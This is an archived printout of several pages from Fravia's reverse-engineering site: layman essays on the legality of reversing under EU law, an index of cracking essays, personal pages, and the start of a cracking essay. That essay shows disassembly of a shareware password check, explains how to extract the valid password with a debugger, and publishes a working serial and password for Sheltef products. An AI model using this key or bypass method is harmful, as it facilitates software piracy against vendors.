. Ab absurdo, as I said... yet, see, either both "agreements" are valid or neither is... you cannot have the cake and eat it.
I would say that we could keep it this way: anyone may reverse the hell out of everything, provided he does not steal or sell
alien code.
The only binding texts are the NATIONAL LAWS governing software reversing and we have already seen that 'at least in the
European Union): 5(3): 3. The person having a right to use a copy of a computer program shall be entitled, without the
authorization of the rightholder, to observe, study or test the functioning of the program in order to determine the ideas and
principles which underlie any element of the program if he does so while performing any of the acts of loading, displaying,
running, transmitting or storing the program which he is entitled to do..
And that's it, if you want to have a look at OTHER METHODS to avoid this legal hassle, have a look at my short essay
Scarecrow license agreements and how to defeat them.

INTELLECTUAL PROPERTY PROTECTION

(Patents, Trade secrets, copyrights and trademarks)


Patents for new ideas and designs, are registered in the Public record at the Patent Office
Some encryption algorithms (like the RSA Public-Key algorithm) are patented.

Trademarks are not a problem if you write somewhere the following (I'm writing it here and yet it covers my whole site! :-)

All Fravia products and scripts are trademarks or registered trademarks of


Fravia.
Other brand and product names are trademarks or registered trademarks of
their respective holders
And that's all.

Trade secrets are information of a given company that give competitive advantages, like the CocaCola recipe.
To protect against revealing other people secrets when you publish information gained from others (like I do continuously, for
instance, on my student page), you better write the following somewhere:

All authors whose scripts are accepted for publishing on Fravia's site
warrant and represent that their work is original; that the author is either
its sole author, or that he or she has the legal power to make this agreement
if there are coauthors and that he or she has notified the co-authors of this
agreement; and that the work does not impair anyone else's rights of any kind.
The author agrees to indemnify Fravia against loss or damage (including
reasonable attorney's fees) arising out of any claim alleging a breach of
these warranties and representations.
And that's all following some european attorneys, it's not enough following some american ones (please write me more :-).

Copyright on everything one's write is automatically created at the time you create an original work, provided you add
somewhere on your site the following:

Copyright (c) 1995, 1996, 1997, 1998, 1999 Fravia. All rights reserved

http://www.instinct.org/fravia/legal.htm (6 of 7) [2/7/2001 3:04:42 PM]


legal.htm: Fravia's page about the legal aspects of reverse engineering

Which I do here :-)

Theoretically, after having written all what you can read above, noone should be able to use any part of my site without asking
for permission or paying me royalties, unfortunately, given some of the subjects of my site, I doubt that I would find a court
able to help much in case of a claim of mine :-)

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


search_forms antismut mailFravia

(c) fravia+ 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/legal.htm (7 of 7) [2/7/2001 3:04:42 PM]


legal1.htm: help on the legal aspects of reverse engineering

Good Evening +Fravia,

I am The+Starling (although it shouldn't take you too long to determine my real name). You were asking
for help on the legal aspects of reverse engineering. Here are my thoughts

THE+STARLING - 06/11/98

THE LEGAL PROTECTION OF COMPUTER PROGRAMS

Introduction

Although I'm not connected with the legal profession I thought I'd have a go at exploring the issues to do
with one of +Fravia's questions on the legality of reverse engineering from a layman's perspective. To
answer the question I'm going to talk about EEC law, specifically the text of the Council Directive of 14
May 1991 on the legal protection of computer programs (91/250/EEC). Because it's EEC law, most of
this probably doesn't apply in the States (sorry fellas) and please bear in mind that because this is the text
of the Directive, some of the portions of the actual Directive could be different. So, down to business ..
the article consists of a discussion of what I think are the three most important bits of the Directive,
Article 5(1), Article 5(3) and Article 6. I've also mentioned Article 9(1) in passing. It'll probably help if
you've read at least thesee from the directive. One last thing, during the course of the article I'll refer to
"the author" quite a bit. When I say "the author" I mean either the person, or the people, or the company
that sold you the program - it's a legal term that's definined in the Directive. I guess I don't have to say
that because I'm not a lawyer or solicitor or whatever, you shouldn't take any of this as legal advice. If
you're in legal trouble you really need to get help from a professional.

Discussion

You may fix bugs unless the license says otherwise - Article 5(1) You are legally entitled to do "anything
you like" (sic) to a program to fix it if and only if it doesn't work and the license agreement doesn't say
otherwise. So if the license that comes with your nice new software contains a clause that says something
like "you can't fix my heap of shit if it breaks then you are not legally entitled to take it to pieces and fix
it. However if the license doesn't say what to do if the program's faulty then you can translate, adapt,
arrange or alter the program in order to get it to work: but you are not legally entitled to do any of those
four things for any other purpose (because it's a challenge, say).

You may observe, study or test a program's functioning - Article 5(3) Regardless of what the license
agreement says, you don't need to have permission from the program's author (the "authorization of the
rightholder"), to study the way a program works (it's "functioning") if and only if your aim is to
understand the "ideas and principles" which underlie the part of the program you're studying. Anything in
your contract that says you can't study, observe or test the program's functioning is declared "null and
void" by Article 9. However if it can be proved that in studying the program you've infringed laws on
"trade-marks, unfair competition, trade secrets, protection of semi-conductor products or other laws of
contract" you may be liable to prosecution. This might mean that if you go studying a program and
you've accepted the license agreement for it you can be found in breach of contract (because you may
have infringed "other laws of contract"). However because contract law is fantastically complicated
(even more so than +Fravia's site :-) you'd need a specialist to look and decide whether studying a

http://www.instinct.org/fravia/legal1.htm (1 of 3) [2/7/2001 3:04:45 PM]


legal1.htm: help on the legal aspects of reverse engineering

particular program constitutes a breach of the license conditions for that program.

It's now time to touch on the important question to do with Article5(3). It is: when you reverse engineer a
program are you studying it? In other words, does reverse engineering constitute a legitimate area of
study? If it's legitimate then it should be okay to reverse any program you like as long as you're doing it
to study the program and not for some other reason. I don't think there's a hard and fast answer to this
question. On the face of it I can't think of any reason why reverse engineering should be illegitimate per
se: it's just another area of computer science/engineering like any other and every area of study requires
subject matter. But there are questions to do with a person's intent when they reversed a product which
would need to be answered in a legal case. In other words, in order to decide whether your reversing is
legit you probably need to look at your motives for reversing a program: do you do it for profit or
because you want to understand how it works? If the latter then you are potentially on better ground than
if it were the former. If you really are interested in how a protection scheme works and you're not trying
to crack it so you can sell, or give, the resulting program to others, then a court of law would be inclined
to look more favourably on you. However you would need to provide proof of your intention: just saying
so wouldn't be enough. Publicising your results on a Web page with the heading "FREE CRACKED
PROGRAMS" would definitely not be good idea. Neither would public vitriolic rantings aimed at the
author because it might be apparent that your aim was not to understand the program but to damage the
author's "legitimate interest", i.e. you cracked the program because you wanted to harm their business in
some way. For example, saying "Micro$haft are demonically intent on possessing people's souls and I
love to break their programs because it gives me pleasure" to your friends is fine, but when you publish a
web page you put your opinions in the public domain.
At that point you really must be prepared to put your money where your mouth is - if you really have an
informed opinion then it should be possible to persuade a reasonable group of people that you are right.
However if you're just mouthing off all you'll do is make yourself look like a berk and you'll demean the
credibility of your contention that you were seeking understanding.

see note 1!

You may decompile a program if it's not "interoperable" with other programs - Article 6 You are legally
entitled to decompile a program if and only if it's necessary to "achieve the interoperability of an
independently created computer program with other programs", but not for any other purpose. A program
is not interoperable if it "gets in the way" of other programs on your computer. By this I mean that it
must obstruct another program's execution on purpose, or hog so much memory that nothing else can get
a look in on purpose, or refuse to relinquish control to Windows on purpose, and so on. A program is
perfectly interoperable if it's a bit slow, or buggy, or the executable is a bit larger than it need be.
Interoperability has to do with deliberate obstruction rather than bugs. So if your snazzy new $oftICE
program has a virus in it that causes it to destroy the M$Explorer executable, you're perfectly at liberty to
take it to bits and stop it doing that. But if IExplore.exe is feeling a bit poorly today and you're pissed off
with it, you are not legally entitled to hack it around in order to speed it up a little. When you decompile
a program, you are only allowed to alter that bit of it that's causing it not to be interoperable. So if you're
fixing that virus in $oftICE you can't go altering the protection scheme at the same time (unless it's that
that's causing the trouble of course :-).

Conclusion

http://www.instinct.org/fravia/legal1.htm (2 of 3) [2/7/2001 3:04:45 PM]


legal1.htm: help on the legal aspects of reverse engineering

I think the law is fairly clear as far as fixing bugs and making a program work alongside other programs
goes. But it looks like the waters are muddy as far as reversing a program in order to study it goes.
Intention (as ever) appears to be 9/10ths of the law in this case. Having said that it may be that a lawyer
would be able to clarify points of my interpretation, but then again it might be that the law is unclear on
this point and it would require a judgement to sort the matter out.

Au Revoir oh my brothers. Fight ignorance.

THE+STARLING - 06/11/1998
Cracker, reverse thyself

Note 1: I'm sure this final set of opinions will look pedestrian to some people. Perhaps they are. I just
think that if we're really interested in defending reverse engineering as legitimate subject for study (rather
than just saying "up yours" to corporations because they happen to have incurred our displeasure) we'll
need to start putting some reasoned argument behind rhetorical statements like "You may bomb or nuke
only sites and pages that are really lame and/or pathetically commercial-oriented" otherwise we'll make
ourselves look like arses rather than searchers :-)

Back to legal

homepage links +ORC most recent essays


anonymity counter measures bots wars CGI antismut cocktails
search_forms history of this site AntiMicro$oft mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/legal1.htm (3 of 3) [2/7/2001 3:04:45 PM]


Academy 200

+HCU: Academy of Reverse Engineering

Founded by +ORC in April 1996

n 2
Academy of reverse engineering: ESSAYS
101-200
(Archive: 2 Mar 1997 - 4 Sep 1997)

+HCU Database Navigation


ESSAYS 001-100 page (2 Mar 1997 - 4 Sep
The fundamental essays
1997)
ESSAYS 100-200 page (4 Sep 1997 - 28 Dec
The required reading for newbies essays
1997)
ESSAYS 200-300 page (28 Dec 1997 - 10 Jun
The beginner essays
1998)
ESSAYS 300-400 page (10 Jun 1998 - to
The intermediate essays
today)
The advanced essays

+HCU Papers Our tools Our protections


Programmers Corner Packers & Unpackers Unassigned
Project 0: Wdasm reversing Project 1: Hexeditors & co Project 2: Softice & Numega's
Project 5: Netscape
Project 3: Dongles cracking Project 4: CD-Rom faking
ameliorating
Project 7: Most stupid Project 8: VisualBasic
Project 6: Crippled targets
schemes cracking

http://www.instinct.org/fravia/aca200.htm (1 of 8) [2/7/2001 3:04:55 PM]


Academy 200

Project 9: Micro$oft bashing

The essay database


Date Contributor Essay Description Project Reference
04 Sep "Mental" cracking:
SiuL+Hacky ~ siuldre2.htm proj 7 ~ fra_0065
97 techfacts95 v1.3
Bypassing Ready made
04 Sep
x86 ~ x86_1.htm Commercial Protection proj 7 ~ fra_0066
97
Schemes (RSAgent32)
04 Sep Cracking little exercises for unass.
n00se ~ noose1.htm ~ fra_0067
97 newbyes: Simply 3D
08 Sep
jcr ~ jcrweb1.htm Webpages source fishing unass. ~ fra_0068
97
08 Sep Phone Book Pro 97 v2.31.0 unass.
Silicon Surfer ~ silicos1.htm ~ fra_0069
97 build 482
10 Sep How to enable the recording proj 6
x86 ~ x86new1.htm ~ fra_006A
97 of Real Player audio clips
10 Sep How to fix incomplete
kenZone ~ kenpatch.htm unass. ~ fra_006B
97 posted warez
11 Sep fravia+ An interesting tool: Screen
~ fraruler.htm proj 6 ~ fra_006C
97 Frog's Print Ruler
11 Sep
97
Jon ~ jonencr.htm Encryption, a short tutorial unass. ~ fra_006D
12 Oct
97
13 Sep
The Undertaker ~ bandane2.htm Novell Netware 3.12 (2) unass. ~ fra_006E
97
13 Sep Fido2Int mailer v. 2.00 Key unass.
Aesculapius ~ aescul6.htm ~ fra_006F
97 Generator
16 Sep Killing those Javascript
+YOSHi ~ yoshinet.htm proj 5 ~ fra_0070
97 Messageboxes
16 Sep
+Heres ~ heres004.htm PIQ considerations protecti ~ fra_0071
97

http://www.instinct.org/fravia/aca200.htm (2 of 8) [2/7/2001 3:04:55 PM]


Academy 200

Adding Functionality
16 Sep
x86 ~ x86dd2.htm You're Not Supposed To proj 6 ~ fra_0072
97
Have (II)
17 Sep
Crushed_ICE ~ crushed1.htm Symantec Visual Cafe unass. ~ fra_0073
97
18 Sep
+drlan ~ lan002.htm Enterprise REXX unass. ~ fra_0074
97
18 Sep
+drlan ~ lan003.htm MKS Toolkit Release 5.2 unass. ~ fra_0075
97
18 Sep
Vizion ~ vizion1.htm TTFPlus 3.3 32-bit demo unass. ~ fra_0076
97
19 Sep
The Undertaker ~ undtron1.htm Tron version 1.30 projunpa ~ fra_0077
97
20 Sep Customizing Netscape's
Mammon_ ~ mammop5.htm proj 5 ~ fra_0078
97 buttons and menus
20 Sep Regview: the 2 minutes
Rundus ~ rundus2.htm unass. ~ fra_0079
97 crack
20 Sep A little tutorial on key
+MaLaTTiA ~ nscekey.htm unass. ~ fra_007A
97 generators
22 Sep DLL-based schemes are
+ReZiDeNt ~ reszist2.htm proj 7 ~ fra_007B
97 *dead*
24 Sep
Frog's Print ~ frogtem1.htm Bullet Proof FTP V1.0 proj 7 ~ fra_007C
97
24 Sep Cracking SendMail 2.0 for
Flipper ~ flippe3.htm proj 7 ~ fra_007D
97 Windows NT
24 Sep
+DataPimp ~ riddcd1.htm WarLords 3 Cd-Check proj 4 ~ fra_007E
97
24 Sep Jeremy Lilley's protexe!
The Undertaker ~ underje.htm unass. ~ fra_007F
97 exe/com v5.5
25 Sep The "call relocation table'
fravia+ ~ frarul1.htm unass. ~ fra_0080
97 and its importance"
26 Sep CD-Rom reversing
+DataPimp ~ riddcd2.htm proj 4 ~ fra_0081
97 MechWarrior2 Mercenaries
26 Sep Reverse Engineering VBX
+PopJack ~ popja2.htm proj 8 ~ fra_0082
97 Custom Controls
26 Sep How to Reverse Lotus
+Rcg ~ rcglotus.htm unass. ~ fra_0083
97 SmartSuite-97
26 Sep ARJSHELL DISABLED
Rundus ~ rundus4.htm proj 6 ~ fra_0084
97 SAVE FUNCTION

http://www.instinct.org/fravia/aca200.htm (3 of 8) [2/7/2001 3:04:55 PM]


Academy 200

12 Oct Blowfish Advanced 97 beta unass.


Jon ~ jonne1.htm ~ fra_0085
97 1
A crippled tl32v20.dll
12 Oct
as65pp ~ as65pp1.htm protection scheme: timelock ~ fra_0086
97
diskeeper
Wingroove V0.9e for
14 Oct
dph-man ~ dphman1.htm Windows (v3.1 and Bug unass. ~ fra_0087
97
'95)
15 Oct Crackin some really eazy
TWD ~ twdrcg.htm protecti ~ fra_0088
97 examples of +Rcg
15 Oct Reverse engineering the
SiuL+Hacky ~ siulin1.htm unass. ~ fra_0089
97 Linux OS, a first approach
15 Oct Cracking MS-FrontPage 98 proj 9
TWD ~ twdms98.htm ~ fra_008A
97 Beta2
15 Oct W32Dasm ver. 8.7 the
TWD ~ twdwdas.htm proj 0 ~ fra_008B
97 textfile-problem
16 Oct Cracking the Mystique
+Alt-F4 ~ ft4tom.htm proj 4 ~ fra_008C
97 Patch for Tombraider
19 Oct Cracking THE tool of the advanc.
Quine ~ quine1.htm ~ fra_008D
97 trade (bye bye Wdasm) proj 1
19 Oct
+Rcg ~ rcgcd.htm CD ROM from top to down proj 4 ~ fra_008E
97
An Explanation of how
20 Oct
flipper ~ flipne2.htm Make_Mak for Visual Basic proj 8 ~ fra_008F
97
Works
21 Oct
Cracking (black and blue)
97 +Alt-F4 ~ altf4cjw.htm unass. ~ fra_0090
Java Workshop 2.0
3 Jan 98
21 Oct SoftICE BPX problems and proj 8
sth ~ sth1.htm ~ fra_0091
97 Visual Basic
21 Oct Norton speed disk trial 1.0
FootSteps ~ footste.htm unass. ~ fra_0092
97 for Windoze NT4
21 Oct BoundsChecker 5.02 Visual proj 2
Shadow ~ shadow1.htm ~ fra_0093
97 C++ Edition
27 Oct An interesting tool: Numega proj 2
Snatch ~ snatch1.htm ~ fra_0094
97 Smartcheck 5.0 proj 7
28 Oct Norton Speed Disk Trial for unass.
FootSteps ~ footste2.htm ~ fra_0095
97 Windoze NT4 (second part)

http://www.instinct.org/fravia/aca200.htm (4 of 8) [2/7/2001 3:04:55 PM]


Academy 200

28 Oct HyperChem 5.0 - 'Same old unass.


+Sync ~ syncche.htm ~ fra_0096
97 sauce'
29 Oct
Frog's Print ~ sourcer7.htm SOURCER 7 advanc. ~ fra_0097
97
30 Oct Interactive Disassembler advanc.
Quine ~ quine_21.htm ~ fra_0098
97 Pro v3.7 Demo (II) proj 1
31 Oct
JimBob ~ jimbob.htm PDF: The Aerial trick pdf proj ~ fra_0099
97
Create PDF documents for
31 Oct
zeezee ~ zeepdf.htm free reversing Adobe PDF pdf proj ~ fra_009A
97
Writer
1 Nov Cracking OpenNT 2.0 -
chown ~ chown.htm advanc. ~ fra_009B
97 object oriented cracking
1 Nov -
PDF: Quick starting notes & pdf proj
12 Nov Zer0+ ~ zeropdf.htm ~ fra_009C
The Acrobat reader patch
97
PDF: introductory/historical
1 Nov
Ragica ~ ragica1.htm notes (all you need to crack pdf proj ~ fra_009D
97
it)
2 Nov Dongle cracking: NetXRay proj 3
+DataPimp ~ datapi1.htm ~ fra_009E
97 1.1.3
2 Nov Cracking Unlocker for
+DataPimp ~ datapi2.htm proj 7 ~ fra_009F
97 newbyes
3 Nov EMULATE CD-ROM (an
Animadei ~ animadei.htm proj 4 ~ fra_00A0
97 ASM file)
5 Nov Adaptec DirectCD Upgrade unass.
zeezee ~ zeeida1.htm ~ fra_00A1
97 - IDA for beginners
5 Nov IDA-Cracking: QuickView timelock
Snatch ~ qvsnatc.htm ~ fra_00A2
97 Plus 4.5 for Win95
6 Nov Symantec Visual caf trial
A+heist ~ athevica.htm proj 7 ~ fra_00A3
97 version 1.0
6 Nov
Dr Fuhrball ~ fuhrba.htm Simple unix busting proj 3 ~ fra_00A4
97
7 Nov An interesting tool: proj 2
fravia+ ~ anonma2.htm ~ fra_00A5
97 Numega's Smartcheck proj 8
7 Nov MCSE MCNE tests -
+drlan ~ drlan52.htm proj 8 ~ fra_00A6
97 BeachFront Quizzer

http://www.instinct.org/fravia/aca200.htm (5 of 8) [2/7/2001 3:04:55 PM]


Academy 200

"A Software Licensing


11 Nov
+joNaH ~ jonah1.htm System designed to provide unass. ~ fra_00A7
97
invisible security"
11 Nov
^pain^ ~ pain1.htm How to USE nag screens unass. ~ fra_00A8
97
11 Nov How to make key
^pain^ ~ pain2.htm unass. ~ fra_00A9
97 generators
12 Nov Linux cracking: the live unass.
SiuL+Hacky ~ linux2.htm ~ fra_00AA
97 approach (acrobat reader) pdf proj
13 Nov Mark's 14 protector's
Mark ~ mark1.htm unass. ~ fra_00AB
97 commandments
Cracking all nag-screen and
13 Nov
Snatch ~ snatch_2.htm time-trial protections pdf proj ~ fra_00AC
97
(Aerial32 as example)
20 Nov O'Basic - a script language
Pepper ~ pepper1.htm unass. ~ fra_00AD
97 and a real joke
Cracking MicroSoft
20 Nov
Pepper ~ pepper2.htm ACCESS as a programming unass. ~ fra_00AE
97
language
BEGINNERS: Slowly
20 Nov
Indian_Trail ~ indian1.htm cracking a paranoid unass. ~ fra_00AF
97
protection
PIQ + Pentium, + some
21 Nov general
g(ar) ~ gnew1.htm protecti ~ fra_00B0
97 protection thoughts for the
HCU
UNBOX: Why and how to
21 Nov
Pepper ~ pepper3.htm create complete Crack unass. ~ fra_00B1
97
Systems
21 Nov InstallSHIELD Script advanc.
NaTzGUL ~ natz-1.htm ~ fra_00B2
97 Cracking Proj 4
24 Nov Cracking Borland's vcl
+trurl ~ trurlvcl.htm unass. ~ fra_00B3
97 programs
Cracking the Corel/Elan
24 Nov
+ReZiDeNt ~ corel1.htm commercial protection advanc. ~ fra_00B4
97
scheme
MemMonitor95 Standard
24 Nov
FootSteps ~ footthun.htm 4.0 and its ThunkConnect32 unass. ~ fra_00B5
97
relations

http://www.instinct.org/fravia/aca200.htm (6 of 8) [2/7/2001 3:04:55 PM]


Academy 200

24 Nov ULTRAEDIT 5.00 S/N


Aesculapius ~ aescune1.htm proj 1 ~ fra_00B6
97 Generator
Dongle protection reversing
29 Nov
The+Chineese ~ chineee1.htm (HASP) - Pinit dongle proj 3 ~ fra_00B7
97
testing
UncleVan's "live approach"
29 Nov
Uncle Van ~ uvessa1.htm techniques (for beginners unass. ~ fra_00B8
97
and semy-advanced)
29 Nov How to keep uptodate with
wlc ~ wlcmaz.htm unass. ~ fra_00B9
97 the +HCU academy
The Easy Protection
05 Dec
Vizion ~ vizion2.htm Schemes And The Lazy proj. 7 ~ fra_00BA
97
Protectionists
06 Dec Flipper's Visual Basic 5
Flipper ~ flipvb1.htm protecti ~ fra_00BB
97 tough protection
Fooling Disassemblers protecti
07 Dec
Snatch ~ snatfo.htm (Protecting Applications ~ fra_00BC
97 progcor
Against Disassembly)
07 Dec Software history and
+Rcg ~ rcgcut1.htm unass. ~ fra_00BD
97 cracking (CuteFTP)
10 Dec DOS Navigator v1.50: how unass.
Frog's Print ~ fp_dosna.htm ~ fra_00BE
97 to spy our targets
10 Dec Palmtops cracking
Frog's Print ~ fp_palmt.htm unass. ~ fra_00BF
97 (HP100/200lx)
BEGINNERS: Prassi
12 Dec
PipoMan ~ pipoman1.htm CD-REP trial stupid proj 7 ~ fra_00C0
97
protection
12 Dec Object Oriented Protecting: timelock
BlueMan ~ blueman1.htm ~ fra_00C1
97 the case of the tl32v20.dll
13 Dec Advanced protection
tibit ~ essaynb.htm progcor ~ fra_00C2
97 schemes
19 Dec
The Intruder ~ intrud.htm Happy VB5 cracking proj 8 ~ fra_00C3
97
19 Dec
+DataPimp ~ dpquake2.htm Quake2 CD-Rom reversing proj 4 ~ fra_00C4
97
24 Dec Kremlin 2.0: they learn, we unass.
Jon ~ Jon__2.htm ~ fra_00C5
97 learn
24 Dec Zen and the Art of Dongle
zeezee ~ zee__4.htm proj 3 ~ fra_00C6
97 Cracking

http://www.instinct.org/fravia/aca200.htm (7 of 8) [2/7/2001 3:04:55 PM]


Academy 200

26 Dec Cracking +RCG's Example protecti


Zer0+ ~ zero_rcg.htm ~ fra_00C7
97 4 (Self32.exe)
28 Dec Homesite 3.0 Evaluation:
ml+am ~ hs3.htm unass. ~ fra_00C8
97 Old bottle, new wine

the second
Above no more banal essays please 100 - 200!
hundred!

Go to the top of this database page

our protections programmer's corner our tools

homepage links anonymity +ORC javascript wars academy database


bots' wars tools cocktails antismut CGI-scripts search forms mail fravia+
Is reverse engineering legal?

(c) Fravia+ , +ReZiDeNt, Krugman, 1995, 1996, 1997, 1998. All rights reversed

http://www.instinct.org/fravia/aca200.htm (8 of 8) [2/7/2001 3:04:55 PM]


Family matters? Fravia's real identity?

Fjalar Ravia ~ true smoke


Well, vanitas vanitatis...

Ann with the Atlantic behind, May 1999 :-)

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars

http://www.instinct.org/fravia/an___99.htm (1 of 2) [2/7/2001 3:05:05 PM]


Family matters? Fravia's real identity?

antismut tools cocktails javascript wars search_forms mail_fravia


Is reverse engineering illegal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/an___99.htm (2 of 2) [2/7/2001 3:05:05 PM]


Family matters? Fravia's real identity?

Fjalar Ravia ~ true smoke


Well, vanitas vanitatis...

Ghetto nuovo (Venice), Easter 1999, fravia's daughter :-)

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars

http://www.instinct.org/fravia/fr___99.htm (1 of 2) [2/7/2001 3:05:15 PM]


Family matters? Fravia's real identity?

antismut tools cocktails javascript wars search_forms mail_fravia


Is reverse engineering illegal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/fr___99.htm (2 of 2) [2/7/2001 3:05:15 PM]


Family matters? Fravia's real identity?

Fjalar Ravia ~ true smoke


Well, vanitas vanitatis...

Porvo (Suomi Finland), August 1998, a world-famous cracker with one of the sons of an even more famous
reverser :-)

Choose another page!

http://www.instinct.org/fravia/veni98.htm (1 of 2) [2/7/2001 3:05:25 PM]


Family matters? Fravia's real identity?

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/veni98.htm (2 of 2) [2/7/2001 3:05:25 PM]


Family matters? Fravia's real identity?

Fjalar Ravia ~ true smoke


Well, vanitas vanitatis...

Sirrka in Canzoival (Suomi Finland), April 1999 :-)

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/st___99.htm (1 of 2) [2/7/2001 3:05:45 PM]


Family matters? Fravia's real identity?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/st___99.htm (2 of 2) [2/7/2001 3:05:45 PM]


beers.htm: best beers according to fravia+

Beer "Ename triple"

It won't be easy to get this beer, unless you happen to


have a very good 'Beer Lieferant' (like mine :-) or
unless you happen to live near the godforgotten village
where this beer is produced, somewhere in
Nord-Belgium 'which should be quite unlikely, I hope
for you). I'll try to help you, because it makes me
really sad when I see or hear that even 'clever' friends
are still stuck with absolute beercraps like Corona,
Carlsberg or Beck... If you cannot find this Ename
beer I'm speaking of, drink Leffe Blonde (this you'll
be able to find everywhere) and you'll have at least a
(vague) idea of what I'm trying to let you enjoy :-)
Here you go:

Producer:
Brasserie ROMAN, Hauwert 61, B-9700
OUDENAARDE-MATER
Tel: 0032-55-455401
Fax: 0032-55-455600
Description (of course in french, like wines, samo samo):
Alcoolise (9%), sche en got et bizarrement dote d'une nuance sucre sans prolongement. Elle
arrive en bouteille aprs une mre fermentation de deux mois. Elle subira une nouvelle
fermentation en bouteille. Trs douce en bouche, et rafraichssante quand elle n'est pas tempre,
la Triple Ename possde des qualits trs digestives grce essentiellement aux eaux des sources
ferrugineuses des Ardennes flamandes. Mousse superbe de blancheur.

Back to the awards page ~ Back to fravia's 'biography'

homepage links anonymity +ORC tools counter measures


Javascript stalking students' essays cocktails search_forms antismut mail_fravia
Is reverse engineering legal?

fravia ~ December 1997, December 1998

http://www.instinct.org/fravia/beers.htm [2/7/2001 3:05:55 PM]


sdzero

Reverse engineering Advanced Disk Catalog v. 1.1


by Aesculapius
(Redundant instructions: the undiscovered treasure
and a couple of lessons for shareware programmers)

(21 July 1997, slightly edited by Fravia+)

Courtesy of Fravia's page of reverse engineering

Well, Aesculapius show us a whole new direction and cracks a couple of useful tools without even noticing it much... what
should I say? An outstanding essay from an outstanding +cracker!

Advanced Disk Catalog v. 1.12


("Redundant instructions: the undiscovered treasure")
By Aesculapius

There was a time when CPU's were turtles and hard drives smaller than
your RAM capacity is today. Considering this panorama, it's understandable
why assembly coding was so necessary to enhance applications performance;
things have changed though, hardware does not limit today's programmers and it's
possible and desirable to use a more sophisticated high level programming
language instead of pure assembly. These facts have obvious consequences:
most programs include unnecessary instructions and such thing could represent
an open door for a very well shielded protection scheme. We'll deal in this
essay with debugging and patching unfriendly application.
ADC 1.12 code is very sensitive to patching procedures.
Slight changes, for instance JNE to JE, will hang the whole thing, or simply,
although logic suggests that some change should crack the scheme, you can hold
your breath and count to one thousand because nothing will happen.
This is especially true if the changes are carried out in code locations "close"
to the protection scheme.
The main validation code resides in a *.DLL file named VALIDATE.DLL; to
produce a more robust anti-crackers strategy, there's a checksum in the main
executable (ADC.EXE) to validate the integrity of VALIDATE.DLL (one
validation over another, interesting!). The scheme code itself inside
VALIDATE.DLL will be executed many times. As you can see, paranoia in
it's maximum expression!

To figure out that the protection scheme was inside VALIDATE.DLL,


Win-eXpose-I/O 95 v. 2.00 (WXI) probed to be a formidable tool. You can
locate it at http://www.sheltef.com/wxi95-20.zip, 1.1 Mb. You should also
get Win-eXpose-Registry 95 v. 1.00 at http://www.sheltef.com/wxr95-10.zip,
1.1 Mb. Both of these applications are excellent additions for our trade.
All Sheltef Solutions products are distributed as a 30 days free trial limit
shareware. This is the snippet of the protection scheme for all products:

:0040619D FF15247B6D00 Call dword ptr [006D7B24] ; Calculates the valid


; password
:004061A3 83C40C add esp, 0000000C

http://www.instinct.org/fravia/aesc_adc.htm (1 of 10) [2/7/2001 3:06:00 PM]


sdzero

:004061A6 8D85CCFEFFFF lea eax, dword ptr [ebp+FECC]; Moves to EAX the
memory offset
where the password
you typed is
located
:004061AC 8D8DCCFDFFFF lea ecx, dword ptr [ebp+FDCC]; Moves to ECX the
memory offset
where the valid
password is located

Referenced by a Jump at Address:004061CC(C) ; The following code compares


; both numbers one byte at a time
:004061B2 8A10 mov dl, byte ptr [eax];
:004061B4 3A11 cmp dl, byte ptr [ecx]
:004061B6 751A jne 004061D2
:004061B8 0AD2 or dl, dl
:004061BA 7412 je 004061CE
:004061BC 8A5001 mov dl, byte ptr [eax+01]
:004061BF 3A5101 cmp dl, byte ptr [ecx+01]
:004061C2 750E jne 004061D2
:004061C4 83C002 add eax, 00000002
:004061C7 83C102 add ecx, 00000002
:004061CA 0AD2 or dl, dl
:004061CC 75E4 jne 004061B2

Using Winice, set a breakpoint at CS:4061CC (BPX CS:4061CC), and


execute the following instruction: "D ECX" after winice pops up, the memory
location where the valid password is stored will be revealed. If you're too
lazy, then use this data, Serial Number: AESCULAPIUS, Password: f3e39742.
Sheltef Solutions programmers should be strong candidates to win the
stupidity award, because all their products use not only the same protection
scheme, but also the same code generation sequence! So this data will
unprotect Win-eXpose-Registry too... you wont believe it: the same password
works over and over for every single program, this is too much!

Now, in regard to the subject of this essay, ADC 1.12 can be located
at http://www.ecsc.mipt.ru/Elcom/, 1.21 MB, dated June 25 1997.

To begin this session, load the file VALIDATE.DLL in wdsm85, hit the
search button looking for: "thank you for registering". We land here:

* Referenced by a Jump at Address:1C001354(C)


|
:1C00123F C68500FFFFFF00 mov byte ptr [ebp+FFFFFF00], 00
:1C001246 6800010000 push 00000100
:1C00124B 8D8500FFFFFF lea eax, dword ptr [ebp+FF00]
:1C001251 50 push eax

* Possible StringData Ref from Data Obj ->"Enter code:"


|
:1C001252 684060001C push 1C006040

* Possible StringData Ref from Data Obj ->"Registration"

http://www.instinct.org/fravia/aesc_adc.htm (2 of 10) [2/7/2001 3:06:00 PM]


sdzero

|
:1C001257 684C60001C push 1C00604C

* Reference To: USER32.GetFocus, Ord:00F7h


|
:1C00125C FF152C92001C Call dword ptr [1C00922C]
:1C001262 50 push eax
:1C001263 E8AA010000 call 1C001412
:1C001268 83F801 cmp eax, 00000001
:1C00126B 0F85B8000000 jne 1C001329
:1C001271 8D8500FFFFFF lea eax, dword ptr [ebp+FF00]
:1C001277 50 push eax
:1C001278 E881020000 call 1C0014FE
:1C00127D 85C0 test eax, eax
:1C00127F 0F8514000000 jne 1C001299
:1C001285 8D8500FFFFFF lea eax, dword ptr [ebp+FF00]
:1C00128B 50 push eax
:1C00128C E847060000 call 1C0018D8 ; Code validation
; Sequence
:1C001291 85C0 test eax, eax ; EAX=0 Unreg.
; EAX=1 Reg.
